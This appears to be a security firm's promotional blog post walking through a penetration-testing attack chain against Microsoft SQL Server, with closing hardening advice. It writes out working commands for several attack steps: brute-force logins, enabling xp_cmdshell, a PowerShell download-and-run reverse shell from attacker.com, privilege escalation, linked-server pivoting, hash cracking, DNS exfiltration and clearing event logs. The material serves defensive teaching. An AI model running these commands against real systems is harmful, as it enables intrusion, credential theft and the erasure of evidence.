Microsoft SQL Server is one of the most widely deployed relational database management systems in the world. It powers enterprise applications, financial platforms, healthcare systems, and critical internal infrastructure. For that exact reason, it is also one of the most targeted services during red team engagements and adversarial attacks.
Understanding how MS SQL Servers are exploited is not just an academic exercise. It is a prerequisite for building a defense that actually holds up under real-world attack conditions. This blog walks through the key techniques used during penetration testing engagements against SQL Server environments, with actual commands and methodologies used by professional red teamers.
If your organization runs SQL Server and has never had a dedicated penetration test, you are operating blind. Redfox Cybersecurity's penetration testing services exist precisely to change that.
Why MS SQL Server is a Prime Attack Target
SQL Server instances are frequently exposed on internal networks, sometimes on the internet, and are often misconfigured in ways that make lateral movement trivial for an attacker who gains initial access. The service account running SQL Server often holds elevated privileges. Weak or default credentials are common. And features like xp_cmdshell are sometimes left enabled, turning a database into a full operating system command execution gateway.
Beyond that, SQL Server's deep integration with Active Directory makes it a launchpad for privilege escalation and domain compromise. A misconfigured SQL instance can go from a low-privilege foothold to domain admin faster than most organizations expect.
Phase 1: Discovery and Enumeration
Finding SQL Server Instances on a Network
The first step in any SQL Server attack is discovery. SQL Server broadcasts its presence on UDP port 1434 using the SQL Server Browser Service. Tools like nmap make this trivial to enumerate.
nmap -p 1433,1434 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.0/24
This single command can reveal SQL Server versions, instance names, and whether the instance allows empty password logins or has xp_cmdshell accessible.
For environments where Metasploit is available, the dedicated module makes enumeration even faster:
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 192.168.1.0/24
run
This returns SQL Server version, instance name, TCP port, and named pipe information for all discovered instances.
Enumerating with Impacket
The Impacket toolkit provides mssqlclient.py, a powerful utility for authenticating to and interacting with SQL Server over the network.
python3 mssqlclient.py DOMAIN/user:password@192.168.1.50 -windows-auth
Once connected, an attacker can begin querying system metadata:
SELECT @@version;
SELECT name FROM master.dbo.sysdatabases;
SELECT name FROM master..syslogins;
This returns the SQL Server version, all database names, and all login accounts. For a penetration tester, this is the reconnaissance goldmine.
Need your SQL Server environment tested by professionals who know exactly where to look? Redfox Cybersecurity offers comprehensive penetration testing services tailored to enterprise infrastructure.
Phase 2: Authentication Attacks
Brute-Forcing SQL Server Logins
When credentials are unknown, attackers turn to brute force. Metasploit provides a reliable module for this:
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.1.50
set USER_FILE /usr/share/wordlists/usernames.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE false
run
Common default credentials to test include sa with blank passwords, sa:sa, and sa:password. Shockingly, these still work in production environments more often than they should.
Windows Authentication Abuse
SQL Server integrated with Active Directory allows Windows authentication. If an attacker has compromised any domain user, they can attempt to authenticate to SQL Server using that account. Combined with Kerberoasting or pass-the-hash attacks, this creates a chain from a phished employee to a database server.
python3 mssqlclient.py -k DOMAIN/serviceaccount@sqlserver.domain.local
The -k flag uses Kerberos authentication, which allows ticket-based access without needing the cleartext password.
Phase 3: Command Execution via xp_cmdshell
Enabling and Abusing xp_cmdshell
xp_cmdshell is a stored procedure that allows SQL Server to execute operating system commands. Microsoft disabled it by default starting with SQL Server 2005, but many organizations re-enable it for legacy application compatibility and never disable it again.
If already enabled, execution is immediate:
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'net localgroup administrators';
If disabled, a user with sysadmin privileges can re-enable it:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
From here, an attacker can download and execute a reverse shell payload:
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';
This single command sequence is the difference between database access and full server compromise. Organizations running SQL Server with xp_cmdshell enabled and no endpoint detection are one stolen credential away from a serious breach.
Using Ole Automation Procedures as an Alternative
When xp_cmdshell is disabled and cannot be re-enabled, attackers pivot to OLE Automation Procedures:
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\output.txt';
This achieves command execution through a different mechanism entirely, bypassing controls that only look for xp_cmdshell activity.
Redfox Cybersecurity's red team engagements test exactly these scenarios in your environment, giving you a realistic picture of what an attacker could achieve.
Phase 4: Privilege Escalation Within SQL Server
Impersonating SQL Server Logins
SQL Server has a permission called IMPERSONATE that allows one login to execute commands as another. If this is misconfigured, a low-privilege user can escalate to sysadmin.
First, identify who can be impersonated:
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
Then impersonate the target and verify the elevated context:
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
If IS_SRVROLEMEMBER returns 1, the impersonation was successful and the attacker now operates with full sysadmin rights.
Trustworthy Database Abuse
When a database has the TRUSTWORTHY property set to ON and is owned by a sysadmin account, any user with db_owner rights in that database can escalate to sysadmin. This is a well-documented but frequently overlooked misconfiguration.
SELECT name, is_trustworthy_on FROM sys.databases;
If a target database is trustworthy, an attacker can create a stored procedure that elevates privileges:
USE TrustworthyDB;
CREATE PROCEDURE sp_elevate
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'lowprivuser', 'sysadmin';
GO
EXEC sp_elevate;
After execution, lowprivuser becomes a sysadmin. This is a silent, non-destructive privilege escalation that leaves minimal traces in default logging configurations.
Phase 5: Lateral Movement via Linked Servers
Enumerating and Exploiting Linked Servers
SQL Server supports Linked Servers, which allow one SQL instance to execute queries against another. In enterprise environments, it is common to see chains of linked servers spanning multiple database tiers and even different domains.
SELECT name, product, provider, data_source FROM sys.servers;
EXEC sp_linkedservers;
Once a linked server is identified, an attacker can execute queries across the link:
SELECT * FROM OPENQUERY([LinkedServer], 'SELECT @@version');
And more critically, can attempt command execution on the remote server:
EXEC ('xp_cmdshell ''whoami''') AT [LinkedServer];
This allows an attacker who compromised one SQL Server to pivot directly to another without needing credentials for the second server. In networks with 5 or 10 linked SQL servers, a single initial compromise can cascade into full infrastructure access.
Crawling Linked Server Chains
Automated tools like PowerUpSQL make this even more efficient:
Import-Module PowerUpSQL.ps1
Get-SQLServerLink -Instance "sqlserver01" -Verbose
Invoke-SQLAuditPriv -Instance "sqlserver01" -Verbose
Get-SQLServerLinkCrawl -Instance "sqlserver01" -Verbose
Get-SQLServerLinkCrawl recursively traverses all linked server connections, mapping the full attack surface automatically.
Is your organization's SQL Server network mapped and tested for linked server abuse? Redfox Cybersecurity's penetration testing team performs full SQL Server attack chain simulations to expose these risks before adversaries do.
Phase 6: Data Exfiltration Techniques
Extracting Credential Hashes
SQL Server stores login password hashes in the sys.sql_logins view. A sysadmin can extract these:
SELECT name, password_hash FROM sys.sql_logins;
The hashes can then be cracked offline using Hashcat:
hashcat -m 1731 hashes.txt /usr/share/wordlists/rockyou.txt
SQL Server 2012 and later use SHA-512 based hashing (mode 1731 in Hashcat), while older versions use weaker algorithms that fall faster.
Out-of-Band Data Exfiltration via DNS
When direct data extraction is blocked by firewall rules or DLP controls, attackers exfiltrate data through DNS lookups using xp_cmdshell:
EXEC xp_cmdshell 'powershell -c "$data = (SELECT TOP 1 password_hash FROM sys.sql_logins); nslookup $data attacker-dns-server.com"';
This encodes sensitive data inside DNS queries that bypass most egress filtering, since DNS traffic is rarely restricted or monitored in depth.
Phase 7: Covering Tracks
Attackers who want to persist without detection will clean up SQL Server error logs and Windows event logs:
EXEC sp_cycle_errorlog;
wevtutil cl Application
wevtutil cl Security
wevtutil cl System
Without proper SIEM integration and log forwarding, this cleanup erases the evidence of the entire attack chain. Many organizations only discover they were compromised months later, during a forensic investigation triggered by something else entirely.
Defensive Considerations for SQL Server Environments
Understanding the attack is only useful if it informs the defense. Key hardening steps include:
Disabling xp_cmdshell and OLE Automation Procedures unless there is an explicit, documented business need. Auditing all accounts with IMPERSONATE permissions and reviewing whether they are necessary. Setting TRUSTWORTHY to OFF on all databases that do not explicitly require it and ensuring those that do have strong ownership controls. Auditing linked server configurations and applying least-privilege credentials to each link. Enabling SQL Server Audit to capture login events, permission changes, and stored procedure executions. Restricting SQL Server service accounts to the minimum necessary privileges and never running SQL Server as SYSTEM or a domain admin account.
These controls reduce attack surface significantly, but they are not a substitute for regular penetration testing by professionals who understand the full attack chain.
Closing Thoughts
MS SQL Server exploitation is not a single trick. It is a layered methodology that moves from enumeration through authentication, privilege escalation, lateral movement, and exfiltration. Each phase builds on the last, and a single misconfiguration at any layer can open the door to full infrastructure compromise.
The techniques covered here represent what a skilled adversary will attempt in your environment. The question is not whether these attack paths exist, but whether they are currently exploitable in your network.
The only way to answer that with confidence is through a professional penetration test conducted by people who use these exact techniques daily.
Redfox Cybersecurity offers specialized penetration testing services covering SQL Server environments, Active Directory infrastructure, web applications, and full-scope red team engagements. Their team works with organizations to identify exploitable vulnerabilities before attackers do, providing detailed findings and actionable remediation guidance.
If your SQL Server infrastructure has never been tested, now is the time to change that. Engage Redfox Cybersecurity's penetration testing team and find out exactly what an attacker would find if they targeted your environment today.